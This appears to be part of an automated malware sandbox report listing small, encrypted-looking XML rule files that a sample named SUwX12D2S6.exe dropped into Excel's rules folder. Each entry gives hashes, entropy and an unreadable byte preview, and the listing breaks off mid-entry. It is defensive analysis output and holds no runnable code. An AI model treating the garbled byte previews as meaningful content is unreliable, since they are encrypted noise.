Preview:	<?xml.vd.v.E_r.......)..E....E.[-.....QR.~...sN.x.[.....d.7...J.y.E)..[.~.\..m..@..)...UT...s.e.+.(..i?X..\...).P19.....=~.ax.]E........[>.. ..7:..+.}.IC`V..$A0...............w..x....O...Q.4`0..qw."..r.H....,.QJ>.(....6p..Z<....T#.b......t.0.....U .C.H.z.~.C......w.z.....z...[...v...&T.E.1".,....b.q.r.h...0.....e5R.-8..\|.D..G....Xa.c.YB*.. .........(..T...k.s.:.'.c...fF..........D.a.3..K..k~N/.5.&.x5.Z......+.E\\..k........}9.c'.....-}.r..U1....R....Y../.5.2...xiN.`....B...u....R..s.hpu.h..]...0...=..]Zi..W...K8..K..8.%.......Ya1..>i..[.RS...e....qd...Tz..e....?.{...y.....KfH..8.IvW.k.&...?d...;.c2..$.Qe]...B...z...+.....&../I................w..z......Kn<......h...Y(.a!.. .A.[...].`Q.4...xzitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.717636389344417
Encrypted:	false
SSDEEP:	12:AF1frsJ3UPSOQQpZZ8Ml7c3xJWpqYs1pbwgElxXYFLEhH5tQWvY69ptiKvL12cEV:GfUWOfgbswD+FEt9v9/vpyVbD
MD5:	4FE146EE1330A2CEC14710640A99ED02
SHA1:	C82467A18D12136686B609770E2075A8968B867F
SHA-256:	5ECA3B3EBBD17107FC928AC0B2E658E3F80E910FF5B56A935D6EE1DF32DAD179
SHA-512:	5F105050193EE9AE79C3B69548F411B42FEFAD08792DE89D034C733F34B12D540593E39A6AAE79AC498B48D4B4762BF64CEEDE9AFF324A2D62D21CABFD95106E
Malicious:	false
Preview:	<?xml..T7 ...,.....F.....y....s...."(t^....Mp.s..j....'....U%........v....[.>B.....3...r...<...p..'.2.T?...k..:1.j..$...wJ.+...#.y.'w........IT.]......8&....B.......:._ .}`E.:6.6i..7....tQ.#...o..`y.]gh.I.X...9.lS.......]...U.c.....T....0..M..p.98a7..D.h.;.b...y...M.....i...O..U..]S...]....I#w?..s.H.S.h..P?.i...#.D.!2KS.a3...L..7v.o7..)..N,@<G&.3..Ge.fH......2...&..b.d}....G-......y/...5..D....L..u(2..I ;]..p_iq.t.b..'..l.....6..W.1....X/."n..}.bO....Wf...7..\.<...(..T.^)....ER....k.B.Qu..E>.d..`.Z.6.z....n...2$.h.Q....y.J.uEL.*.U.]f...\|...j.,......;9..,:....V.,...T._.feb.].........B>..(.E.&....N......D..n ]..E&.f.......&....]..3Yitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.7501310813695925
Encrypted:	false
SSDEEP:	12:hBp4TtuPFx9eHDApH5FqDv/Qc7XmogEDc0+M9ZtxVnLb9NR4TnASFbyejVcii9a:l4hqaHcp6vRFgac0x7hnN4ThLVbD
MD5:	CEABD343AFD188FA6D1C540F0F2FA566
SHA1:	7F85A87596F168BA808CFB73796DF36B640E796E
SHA-256:	31EF2FD0572707619BE7B8DEBCDE3D5D97BA5DCBB0DD1F3DB0907DD49C9F5C88
SHA-512:	26806606A6AC350CF026795790F1B71439A14D4B94B4CFD0FF030EF4201EFFFDA56977FA29F1E823712EC9E04E04E2249066A853354ED432EAADE4C3902005CF
Malicious:	false
Preview:	<?xml.[..4..j......y......k..b..W..L....]...9$?.i...A.X.......{/..%..c.}..kO.V.D.s..w.#.=);z....~."..b.Y......$_".t....U..{1.H0Y\| ......}...."H.&..#K...D.&....6...%....>..b'...a...$..@~.e../.X.F8}#G..~........q..\|i...pp....w.. .1.;.......#..l{.!y..._e..O.@..o.d...".H..Rg] .'....J.{..<.A}..I..q...U.....~.=]..e.."6.@'...;...C...LMZJ...8..p../..h..E.O..K.ko+.F...$.qk&.XSD...=>E.?m....x..j.,?I...):.dW...O.?T...r4/_.).^..?....z.X.w.b...-M.@a-.$..".HH.[......?....d.........\...>P.s.wl..M.Q..I.F.t!......-t.6l..3hC....O..U.{.:?..lw..:U..V.r...,.........`.....c3.1..K'.....U.........`.p...7......7..c.=..I......e.{......\|.vv..=j....Q.\...P...F..-Wfn.P...c.`.J.....,.s.$.k[..w.?..."..^v.?...vpq.u..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.731774798031014
Encrypted:	false
SSDEEP:	12:I55egRME6r+ytp/z29pHZ9JCSiKHMgJnlv4Y/krhDxDmtRmPjVcii9a:I55/RMTSD9p5OSiKH7Jl4Y/+DgeVbD
MD5:	D1D29E65B3D21CE8C0EBF2BE55C69E95
SHA1:	B41A9B836ABC99337758BE083924130D59DBDD8D
SHA-256:	407E8507DED1B3D338BEA67DA89EE6BE2185B817DA1883B6A2766D50A92BE19A
SHA-512:	5A93DFFA80FEAFC2E96CD8FCB3F887A551F11C0E18216A93982CFB9EF429A9C37756E81EB0E84A7266FF1CCB91A75254AEF886FD0DA1861A2242CE2349835A64
Malicious:	false
Preview:	<?xml5..T.u..5k............... IT..#..;..........\|..5..9&.lI........0`j.Q;........Yx.^[...M...DC.S.{.E...........N.R.H....+v.z..0.........Y.U...x<j3.U...../M.G...]x.....S.Z.%.ry..T.....t.../..n..".....a..Zt.Pl.M..q..j. \|0......S f..b...b..$.#R.uH.{....E.9...s.S'..H......X.3w.h&9@........o..#^.z.E...A.v...f...%...\F..-k=..\I....].....~../....\|."....tf...L{..L..4b.O0k..p6^.).........B.>..%...<....h..vhrg..L@'..'..v@....ec2..>....mF..P..d]...2".s.7B.1C>$.x..P.kZ.(J.j_........^L_C...e'g9...s).....#.Z.:..f]V......oR.M<!n.c..(..U.S].O:.`P"........N..N..%?#....wSi...f......D........)w..r.._.>..j.a!....O.... .....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.740326674881451
Encrypted:	false
SSDEEP:	24:pOa+ydNsVMReU8Pc0xFf0lEapBh3JP5fAMay3IlIVbD:pOogPzzxauapVPSESIFD
MD5:	588D67525DFA0B529173AAD354DAD974
SHA1:	AB9887ACFBFF1E0EA29DF71316F1DB9F6D7FECB3
SHA-256:	66669ABD85BA1800287DC67B689DDB04A96E2143AE83A6F4AE75B78F54646FD6
SHA-512:	858DCE5D63563FD3A0691FB3A9746CFF678F1F2F7694D6543C8F54A0EF0782648E9F148D33456CCAF7A04299240C9690AC36D76D942200567C2F8BC203D14597
Malicious:	false
Preview:	<?xml..K..3)...'y(..u.q..v..~...~.E.1J..WaM.@=R....t..E...+M.#h...6.}I..y.^..D'W......PXmSd.N..{.Y.kS.....z....$.,...k05.y....ST.88~.U.5.@.=\....-P......y......d4;..H;...7..h.F...r.s.j.(..U.;R........-.j....O.#+D..kF.A.0(B....s.? .x..[+.}..ZH.y....Z~...ag..ezq....$5a.l..F.......Fe./....$.$...m.."T.My.._..,.\t.h..oy.%.........KS'.....qo...Z..7..b..... ).#fv.+{"_.s....,48...1.K}.(....^....m..e<t..G.../F..o...n..!.......-.m..1.xr.6...v.T.S.H.6[.....a....$.r.b.....ff..h..7.j)>3./...!.h.,P.............;....B...].)..M..T.5..M.. ...Q..O..C..~....7.......c.....(.U....g...u...y.....p....d`..t.nnc..M\.H......C.weU....R...-.?...3.1.A.am..z.=...49....V....R..sg.."....\|.`..V9....I.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.660789874519221
Encrypted:	false
SSDEEP:	12:4kTET+WdTuX1KiHg8ME8AI8KPZ8k8H71kD+1n2Uo0Hv197agjdOWmIxrjVcii9a:49TY195ubZ8tK+nFxHt4gjtVbD
MD5:	1B428A757F801522369619A669FA2C26
SHA1:	88ED42434CFC5729643A4FDAB9DADB75DF9B92F0
SHA-256:	86F33752BE85EAA874CBC26DE560DC792CFD64FD09F42FFACAF974540BDF0F92
SHA-512:	C95F99A2CA5C9B7C4113AD8B114C739163ED0B065DD89569B13D670A19FB7F5F927B710BC7DE9C410FA1AFD88577BB3EDD0C616847EC2DA7F73F2DCA8CF43F1E
Malicious:	false
Preview:	<?xml.T.MB..e..".L....n..o..K..yK.......\|l0......T.L.......8.O..H.....8Q.PV.....8..<.........=.B...%..0h...}\|u..I.....8,=.....'.....sM].A.....m.I'.........Ey:.u.c..P.:.{f.9.....4.....8....1o+...../Es(.9......$.H..S....'.t....D..i.N.uh...G:.2..nP.4..soyK]....<..i'...#...%.^...D..9.va.y..5V.At3....-..t...Iq.S>.t.....a..>.(.O....h...e....E.{.&..k.....0.O0../.X.>#....]l..:..T...D.u.g6....O.........u}...i_V_o........Iz....+dO...Sb;(....9...XKw3..x....8....CHB(.......L1V..G..,.D...O.....o......,rH.E.....3x..y..r.>.]..-.KQ5..#..^-8......W?4=4.l.u EG...U.{..Z.......a......_..o.........27..g....N\.wek....h#...^.=o4.6-.>`.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.752481705740256
Encrypted:	false
SSDEEP:	12:F7Ysz4juARHk8WL827ljx1e7rPVpp0euVsnc0gNQIaD13rIGesRejVcii9a:MXWf7DaDp0Vsc/iNmVbD
MD5:	1613FCB9671A82252D632D168350E86C
SHA1:	AA7DF0619138F7F5C33C0148EB704E60BAFE3969
SHA-256:	8B4B12490FAD496EF115BC9A800FC3C56B9D2B377958E82982A30B2932C6C406
SHA-512:	0A1377E968F24C5AF23F374571651001251AD247603131E4AFB2759636676FCE2D4399D61238F04A8B828DD734061CAF1E2A3072D0B51847AEA5B48D4096C110
Malicious:	false
Preview:	<?xml...)i.a..)...l.......Nv...G...qy................d.&....j%....5L.3u..CQ<.....^b.?hO.r.J...0.5..".Y.r... ....@e ...o".LH..,N......w.U.O8.a...Q@.....sk...-)....A.BN.(........,.....]..o6..W.vk.6H.'.2.....8.....?.....8.7.i..8......h....c....t.....t...M..z...`......Rn;.=.^..5....D^a.\6+....M..j..F......C....D0.y!......iH;H.5.q.."....>.>..oA.ov..=..K.\....)..Y...zh..(..~.....P.....@G5#....U...:..mQ........n./..I<C........U...z../M$.}..on,6.U...P.i..$e.Y\.&~;.U.J..zJ..2NY.._.\|.&jX..F..O-C_8W... ....../.....J.....!.zq../....lM.\ ..SH.VH.w..D.D'..p.\|A..!...K>LK.:..ei.z..H.F..6..t>~.H:S'...5e_.. ...T....e...7...m.4.Lc.._..4.........v.qC.....-3@.SM'"...uh..e...n..$.. E.Ko.m.8.=..^.>itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.734064049952432
Encrypted:	false
SSDEEP:	12:4+fmL3bEsspUv8zBY5a/9ckjajHTX0pFY75ijJ685LoFdRmQuocPPTYLROJ7xTe7:4WmzbEsspdzBY5a/9ckunEnY7EjFLoFF
MD5:	AE88912071F28409C38AD378720C4407
SHA1:	0B21E8E1A1E5FDD8CC4406B688F2EEA1C9DF7CB4
SHA-256:	3FB464CA7FB6D9AF4A9063DA537C7F5F59E7331A6B5D80FEB641B892D6D3629F
SHA-512:	659972889A94A10AAE645B91582BCB8351B48909597476861961EA598ABB98F8EDFA0CFB203F85EF949C33DEED6C52645C0165AF8A7A1953433A2046F1C951AE
Malicious:	false
Preview:	<?xml.;b...qziX.S..B<.:.."n..$y.NL^.,kU.s".q.T..E-..,..N..-..9................z...}.q.X....6..XP....W4.i._.kd.pD'Z.o....`.<....D...`..o6 c..n.}\|.P.0...."..>..o.X..gg..Z.0.. o......O.1..q..(.j....~....=.M1.'q..........A...{..i.X+......a.#I.'8.e...i...J.u..f..\|.4.<...>Ec.J..[kX....5Ra\|.e.4wE.../..~......H....j.._.td.I..c....E...)..pQ..........GYO....%...o.....SE.....V%N{..e...O@=.l4....E..<..MB.y.?..j.>z.Y...M5t..0.f..{(...Ww.....<....%...X...%~.......a"%.K).fh.\|&....;..-.[..Z)..&.o.pF..y...._._..u~......O,....L.1..]...c...p.z.......... ..t=q..be...Xu.k.[.&o.XN'...R...A\.F..h.DH......9....J.<....FH..&.....8....#.k.)..aQo.}.;....0pitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.749705419003284
Encrypted:	false
SSDEEP:	24:1UDDnWqeFxmB0oKNHi+Yb4MPO2eR35voApRUVDVbD:KFeTm2oEHilb4wZcoAU9FD
MD5:	8A6149778F30C492D13F19325DD1E697
SHA1:	493392582B60F8B2931AF07C7DECD6463C77ED2F
SHA-256:	A1FEB947F31118201038BE0379B3BA4F0A4A6DAE79DB96C608E05DC3D93F6633
SHA-512:	FCA278FBEB748CE79CE33EA952DBEA7700AFA4CA0974E1C3918421F5D4CDF1F3466B90C329155E965C18FBC3F2F68767DF731CD7EE27DBF85C729E394232B062
Malicious:	false
Preview:	<?xml.........a..."...!F.j.a....\.....y..Y/...f@i.b..q1.4.f.....+"..'.......s.7.p.;..E.G..(..H.e..!..O].`Q.....i.......i..[.'........ae...l.2..>'dT..o^....5j...D:oG.Z...k.8.w.y....2..q..f..%........9...@;2s+....u.....Z.u....f.}.jJ.{.ia[..E..f..z.5..N9.../........."6$......^}}..#.~v..D.Sd.........!.M7...>...F.j.C.aV..[?...3$.aQ...X]...\P...og'....t~.]3m.... SS........Ov\..pI.gtH..c:H}2.......y.4<.#$.j>}.W.?..\.L..yc..z......~...e5.{..{.`.,..t..q.T%.....\<!.o.....!@(.W..vQ..w.h.M..-.!l.L7Ir..!.-]We.\|.k.Gh...?....._'..'...K...Jr3....U...=.....X.+..d.='w..;............_...r.......Q4..WO&...q..."...\W0..M....7k>0fH..g..M.k9.Z....3........*.w..B.x/} !.....E.SD.i...>.....,#....m...AkF4.i.xitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.722611593198287
Encrypted:	false
SSDEEP:	24:D9P/x5+UvhC1XlASR+mESkZrCSj30AqmEWRQUc+VbD:9+vNlhE9rCSj3Um9QUfFD
MD5:	E7E476DF83BCCFE9D2CBBE1CDE44166F
SHA1:	B3AA97DB923CEC7B34ADBDE09D890CAEE424659B
SHA-256:	D697F6ABCED352C2F1FB61FE289C9A15CF054885AE17CECE2D6D6190E862AB36
SHA-512:	1E3DCADB84D187B1D4DB5B45C37EF3E2D96C12B7112AE66EC37313DE5884B31789DDD1F4D3D8D1A626CF4EAA570CE71BBD61FD6C8B3140504EF63F806FB21D41
Malicious:	false
Preview:	<?xml.V...f....{...)...U.....E....Je6.....&......%T4.S.!...H........e..h.&..)...}......./t\...u....+.\|..5..........~~..:.....s.......u.....g.Y2N..%.....hh.Q.Mf...0.j.Rz....1.0.Qsi..!.....{.q........$&.hG....:..pI.D.....z...7........i...OT....}#F...AyJxA,p1GrP).........s.'=T............u3#..[.......E..x.l....5...q;T....R!....w..(.{.."9....L<[.g.+..5...~.......f....&(.y...C.....;...i.I.l....%x....$eC...n..1.v.Q....H....*.y.}..\|a.p...+.T.........2.`...y.~..tg...t.....%.pj.....i.s.....2...G.d.:.C.WD...&......eY]......8._M..................h31.........(.i......0-.-...Q+,.q.j..;..O.E.g4.....v....Q.`..9....[.<..h.....r...(^aHa......n...}....L..,....K...igitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.7296992578983925
Encrypted:	false
SSDEEP:	12:1CmnaAdoP2N6Z5/nbonDk+G8T1Y4GDgu2fNnwaSBiEnGluqiejVcii9a:1naAZI5TonDTGEGDgu2fNnFQuuMVbD
MD5:	35F5D1F2C97B56DD40A4128CEBBA7F76
SHA1:	4BFE1E72FA34DA2BA3D1BD289BC9DC06776A9A58
SHA-256:	87C02065620AB6FC5401BFEC294AC5BB041226F4E35D11EF90F7CF042DC48949
SHA-512:	898E8FF924371940A590DDBF4D9BAF4573163DB291BD8FA6EBF13C51F64D1A76097C7DDB3702078965B33EFF80423D0B15E905804441AD23F36A3D1C0662F5D8
Malicious:	false
Preview:	<?xml(.18...=U.I\|zD.f..`..Q.U...f.JF..9..[K...{B.....s.1.!.b.c..U.....w....%.;A...-.p.6.Q...8e?..722E$>.8.....Y.~;...]..J..Z....(..g...3..(R...sJ..s...7.C%:G.N...?.c{.{_:h.Q_.d...q....,..<~E`i.f^+^L{.I.......G.R.......At;~..{....~..L..NHp..c}......`i....B...{......3T\|...p..MW...:.p....b.>...z..+u.5.....O.<.x...X>wT....h..?.t.""JH...+...}.Zh".or.N....lcz..G.C...>.(..e........9nO.6.....t1.....K.Z].W....Z...Q....x..H.wa.l....EFH.......[.O....h....#....;.r..n...$..X..F.DY......F.x.Jq.:.kR.....^.u..[.<..yKbb/..pRAq.G.]....f..{.n.O......h...TO.v.>j..#i.a.....zx..M.-.....F.%n...aF...1.\..W.k..C.~..yt\|.%......DJ..; ..1.5....t.~.....r..F..1N.6*......7Z....(cO.q...\|...A3..0:...W...ab](.}L`..N...U.}x....Y..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.733044409004979
Encrypted:	false
SSDEEP:	12:Pfk74RRXdJhE0e/W0aPm1TlsN6wR0IqUvWHNK93DDghd45YFFsImWVRCjVcii9a:PkyDnIL31ly0IqUiwDDSe5o7mBVbD
MD5:	D814E1017CD2B8FDEC352223FC389EF7
SHA1:	013E9998136C471D8EED3E5F8418BA4CFE18CB61
SHA-256:	49AD4FE3EE4F9068F202BD18CDE1E01103AD57724AD41EE39848F0FBDA687C37
SHA-512:	2BD1D1C0891B12C60902BF6118D1F44D5F00D78B268B66C21144D2A2B402C4544701431BE1E887F145A34E092A7AEE852CCC21AAA62915D6F01376AD413506EB
Malicious:	false
Preview:	<?xml.E....A......`X]....YY.......B....n......A..........\.U...o....o...= .@.>).F./...;kl..T....;.&+Z.?.m...N.@M....u.TF!.o...z...U.....o#1....s....>"..._.0.Z`.x....X.~,..6.6M(.R...%.3a..'...._...../....y.Y......$..b!`....)....E....r.....35.f...K...(..-B..=2.H.9g.....R^._![...h".....\r..q.."e;.w..`6...?.P...Y..6........xaZ.........H...$.....M.....D...q..SG.......e..%I.7.X6I.L.....L..+.oM<......'X.O#.#..V)..1+.G.=......8..upe...E..z..m...D..~7;YQ.7.H.>(........k...K_?.PA..`I&..#i...I...Z....e^QA....#F...Ke.<`.....0fA.a.....(.0...wv...l..x...Al.....u.....>...4`b.1...+..fD................TD...;..1.Re_.2..ug.5..%0.*.q.p..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.675625699158614
Encrypted:	false
SSDEEP:	12:Xxt0TwYflpAb619cycRU4A6Tv8nWE+p2bAwkP1yYCIuHEng8gnrOEoP1fDbgjVcq:Xv01xgjFEhASIFgLrORt7bCVbD
MD5:	1C5609D2BF5BD09E5550CEF2643B5536
SHA1:	6D882B7F323C7366CEDE6103FC72671174FA8CA2
SHA-256:	187A152E3B5F227278804824D36E021DC8558DCE0F917265DD0216AF9EE104A7
SHA-512:	D2087A8B968D96DECC7E00EE27930FD8CDA923CA65BB12B11200C3CAB4F7C0A369CC93864E4BBA3A0330002E82919477DE00395CA5E31F1A0F481003CF064BF5
Malicious:	false
Preview:	<?xml.s...\|.9K.c.v...OC.....FRjU..........A..mk.l...V.q..,<....?..k......fB{.O......K...O.B.....>.A.0.>......U.B~...5_ ......G.qG.OU..eSc.3{..`QbR.,...^5[.O.^...S=.}...+.x..V.......M..T.Gz..D.du..D...10.E..q..L.q\.9.t.t...;a......s@.;..c..W.u.k......../..R...$..vM~M@....#"~.]....k.......l1..N.7.".iB%.7.v..H.....8......_5R.P.....P).L.....A~..1.~.i._.+..!O.......#bVx&.5.8s+x..#m.B9...Vw.~%....\|.........7.8...M.'......D.....y.0.NK.{..{(."<..>.....6..v}....m2.!...e...s....,..U......<.\| ~>.g.-...{.m...;=...u-%...f.ybm.#..a.X....8m.....kwq.C.u.....`U...Q.V...j.N..A.....>Su....":.t.6a.O}..yH.7.:....n.W../.D.m..!.v.X....%....lh.@.u......F...Q$.y..4.....u..."kY>5M.a..\../.......*z$k....L.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.666060987056218
Encrypted:	false
SSDEEP:	12:AsvMOWbLSLyeA8pMPwm4V/qByTq4lCDc5I/hg7fdRu+pKNP0hnbhJjVcii9a:1MVbLSVA8pM+AyTJlCIu/oVTVbD
MD5:	E740EBA30C79D10101BAB47E1334E717
SHA1:	9DC8BCFE5EE4983CF1FC5491A0EAEF62017BEE0F
SHA-256:	78598B4D4A9F3EF8D4F8CD9C90E5D37D598DB80E24F0F9E1DA7028E9A37EA7EF
SHA-512:	82DC4A52821F53EBEABE9B4504D945DCFD15643B0FD15A20FEF73EE2C30E9E8FCF9A58D4DBFDC6FD0DF91FDB185F7EE7A61F948271220094FC6F21740FEDC1F4
Malicious:	false
Preview:	<?xmll...S..+...X.o......I.0@:U.........j........B/.-.vz~d......w.Xk.........3.V....3w.c.#(...N.J.........X.....b..a.z.!.>.T......F:.....{..w..Y.DQ.....G.)...{5.r..........+..`s...>.I[..b(j.MC....@..@zzKQ..x(.>`p.,..4...{"..@..W..m.Qt.p..?.c...%T...O...W.=....@D.Ox"..7.W. .p:.4fF.:.>.&d...1.y.....[.P.\|(...U.&4...O..9e.>8....{...~...W...f..B..j1.L.`.1.....M..ch\|..g...h.?s[..M..t9...N7i..J.Q..n ......82....].....L.D ..Enp{@+Du..knY............#...[...F..G`rc'.5.F....No...3.q.Q....F......:m..,5&...".?.PtMOl..(.\|Vh...&..(....D...:5g.;TxK..BQ.........8...t..U(..x.=..Z....\|......R4.1g..........Y...Ij. .... ...w.f.4....l......0i..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.752502992422371
Encrypted:	false
SSDEEP:	24:cS6uM1aO9ea8t0+fLC36c0q8SgfBxYSYeVbD:N6aa30vSMBxY1eFD
MD5:	DB2457F22A2E512DB0DB60606C178860
SHA1:	4E38A52B4BC72FB72D36851AE97A8DEAAD32E92C
SHA-256:	02CC991D290376346DCAF6CA86B83CE5961B6DCAEC093DA3A77B15B9ED73D716
SHA-512:	CA0D44F259EC54F01EEDDF137D3361F9EA021CF4C206074669EC12CEC9B0BEB3DCCD7B087885ECD83ECD03A6C816CCAEE8F70ACF0B58EB94A32996C77651517B
Malicious:	false
Preview:	<?xmlF:...P.)...U...L...W...'.c....!.K...d...R.$.Y.q&..Z..E....u....#.]k.5E..e..{ ...YY....+.r.....w...9...F...j....]..-[P..E.K..B...O...).(... ..".a.......,._.X...t..&.,6.y.g.]...{...:B.5.g0......-..5...-....q.8...y<...W..".].....4.....h-.O....vt..}......~&Fm..R..3..M7C4G.......Pd./%...D...P.....F`..n...y#[!.-n..$r.&VDu...@.f..h`......x.R...P.e<.i.e... .%O...epr....q..6..K=[.%.v'.u8..M...&n....-i@....b.}._.B....`NN.U'.N.n...:...+..).....X.n...../.*x.dA..2b.0~.....3)..Cj.Mes.d...U.,..S..2...e.Qh6.GI...Xy\|.6~..a..+.Ih...X...i.m.a:.O....M.Y()V..1y.4.x.RMEG....t.....A...........F.e...}.H&.2...xT..........O]......^.>.eg........Vi....-...VA...n\..[............g...N.Zu..?.'.^..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.724700074770002
Encrypted:	false
SSDEEP:	12:is1aiaqSlaqhgs2ijHp9dMTGPXtfwPqDqpbyu4e4AIBrGFJr5gtAjVcii9a:N1yqMactXDdoPqEbyu4JA002tiVbD
MD5:	1F3CC0DF62929A4CFB03BB3EF9A3F97B
SHA1:	F1C50851A0DECC3EB2D9492F1C8E680EB952604F
SHA-256:	D645ECBD48EFA4CE65DBB747266A16840DD8C60082265B0EA50AADC8DE4573F7
SHA-512:	40DFEE4E3AB3E87C8CDAA17A05803AE71CE333D1FC7CCD497163A6AE36EAB3349D5BFE3D812C5CCEF4CC5A84D000662F58D6A7762430307916D823BD79167D3A
Malicious:	false
Preview:	<?xmlH$..........\|..U...[.I.....9..]..?Bn...#..<.....2.$.....!.7.G...w......b..?.6....%...H..S.......OK.t.go..>IWAQ..Y.....%..J..Z.p.9.....+...+.............e...r...`.-..$...HCHv.j...J.r.^...;A".W..c`1........d........&7..r....p"".g.q.7..T}....HN).....^'....Hh........}.XW...K.%.....b.R. -.../.;...]..!.....F...=.7}bK=...(...........cw.9.0D...`...)...L...Q.b...^.du.....D.'..u^.%.).(.D.q...JR..c5L.=o... .sk$`..o...K...1".u"."r..+...b..8r..fy.....I..&......Ho.A.....f.......(S..V..#Y.....qqw...X.l.c+.n`l...%8..H....E..l.]7W"..9...Q.@.....S.~.5..2m.4....7.9.G.!>d...y"...%..$..$..).g.g..$....=2.,.._.d...._t.]......"VW..J..l6itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.691793692027572
Encrypted:	false
SSDEEP:	12:SyLAavcEbK09oJntNsAoA8lPbMQpeKSoX2SEGDLJRdoNEoZap/8yifea/rQCTSyx:SeoyMJt4FPbMsplNRiWHifeWSMpVbD
MD5:	FE4D4337E49710DA382A1B7AC87C8629
SHA1:	CAE8A31E20191E1D2ECEE2A1350DFDAB3F732DDE
SHA-256:	CA39515D0F3C115586BBB3BC0707C19CB736E49C8E2FC2F996EBA282195CECC7
